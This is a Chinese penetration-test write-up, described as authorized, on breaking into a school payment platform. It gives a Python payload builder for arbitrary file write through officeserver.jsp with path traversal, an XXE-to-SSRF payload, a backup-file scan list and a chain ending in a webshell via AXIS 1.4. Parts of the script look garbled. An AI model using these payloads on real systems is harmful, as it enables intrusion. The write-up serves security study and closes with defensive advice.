渗透测试-一次从黑盒转向白盒
字数 1590 2025-08-25 22:59:15
渗透测试实战:从黑盒转向白盒的完整过程
0x01 前言
本文记录了一次针对某学校支付平台的渗透测试过程,测试已获得授权。测试过程中从黑盒测试转向白盒测试,最终通过多种技术手段获取系统权限。涉及的技术点包括:信息收集、某组件安全漏洞利用、Linux与Windows文件写入差异、Web服务漏洞利用等。
0x02 信息收集
目标系统概况
- 系统类型:支付平台
- 开发商:xx软件开发有限公司
- 开发语言:Java
- 框架:Struts2
- 认证方式:尚未接入单点认证
源码收集思路
- 百度云盘:通过关键词搜索可能存在的源码备份
- 闲鱼平台:部分商家可能存有第三方系统源码
- 同系统站点备份:扫描相同系统的其他站点寻找备份文件
备份文件扫描
使用御剑扫描器,配合以下字典:
/ROOT.7z
/ROOT.rar
/ROOT.tar
/ROOT.tar.gz
/ROOT.war
/ROOT.zip
/web.tar
/web.tar.gz
/web.rar
注意:对于多应用部署的Tomcat服务器,应将ROOT替换为实际应用目录名,如:
/pay/index.jsp --> /pay/ --> pay.war
0x03 某组件安全漏洞利用
漏洞发现
在ticket模块下发现officeserver.jsp,返回提示:
DBSTEP V3.0 0 14 0 请使用Post方法
确认存在某格组件漏洞,该组件默认存在SAVEASHTML方法,可导致任意文件写入。
数据包结构分析
数据包前64字节为配置信息:
- 0-15字节:FVersion
- 16-31字节:BodySize(后续读取的字节数)
- 32-47字节:ErrorSize
- 48-63字节:FFileSize
后续内容以\n\t分割参数。
漏洞利用脚本
body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==LOCALFILE=MQ==""".replace(' ', '\n').strip()
coente="""hello1"""
fileContent=f'''{coente}'''.replace("\n","").strip()
payload="DBSTEP V3.0 "
bodysieze=str(len(body))
filesize=str(len(fileContent))
payload+=str(int(bodysieze)+3)+' '*(16-len(bodysieze))+'0'+' '*15+filesize+' '*(16-len(filesize))+body+fileContent
写入失败原因分析
在Linux系统中:
\\会被当作文件夹名称的一部分FileOutputStream在文件夹不存在时会直接抛出错误- 最终写入路径如
\\HTML\\test\\1.txt,与预期不符
0x04 Linux和Windows文件写入差异
解决方案
- 预先创建包含
\\的文件夹 - 在
mDirectory参数中添加多个\\符号
实践步骤
-
创建文件夹:
body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==LOCALFILE=MQ==""".replace(' ', '\n').strip() -
写入文件:
# 调整DIRECTORY参数,添加多个\\
成功条件
- 在Linux系统中需要3个
\\才能创建预期的文件夹结构 - 写入时需要去掉一个
\以确保路径正确
0x05 终点也是起点
遇到的障碍
- 目标系统不存在ticket模块,无法直接利用
- 通过PAY模块下载源码进行审计
代码审计发现
-
安全防护:
- 使用
org.apache.commons.lang.StringEscapeUtils.escapeSql过滤SQL注入 - 无文件上传点
- 使用
-
新发现:
- 应用使用AXIS 1.4版本,开启了远程访问
- AXIS 1.4存在远程命令执行漏洞(需SSRF配合)
XXE漏洞利用
发现SAXBuilder造成的XXE漏洞,可用于SSRF:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">
]>
<name>&xxe;</name>
最终利用链
- 通过XXE实现SSRF
- 利用SSRF向Web Services添加恶意方法
- 使用
FileUtil.writeFileContent方法写入Webshell
技术要点总结
-
信息收集:
- 多角度收集源码(云盘、二手平台、同系统站点)
- 针对性扫描备份文件
-
组件漏洞利用:
- 理解数据包结构(64字节头部+参数体)
- 掌握
SAVEASHTML方法利用
-
系统差异:
- Linux与Windows文件路径处理差异
- 特殊字符在路径中的处理方式
-
漏洞链构建:
- XXE → SSRF → Web Services添加恶意方法 → 文件写入
- 利用现有类方法(如FileUtil)绕过限制
-
防御绕过:
- 通过多层编码绕过过滤
- 利用系统特性(路径处理)实现跨目录写入
防御建议
-
组件安全:
- 及时更新或移除存在漏洞的第三方组件
- 禁用不必要的服务和方法
-
输入验证:
- 对所有用户输入进行严格过滤
- 禁用XML外部实体解析
-
文件操作:
- 限制文件操作权限
- 对文件路径进行规范化处理
-
服务配置:
- 关闭不必要的远程服务访问
- 使用最小权限原则配置服务账户
-
监控与审计:
- 实施文件变更监控
- 定期进行安全审计和渗透测试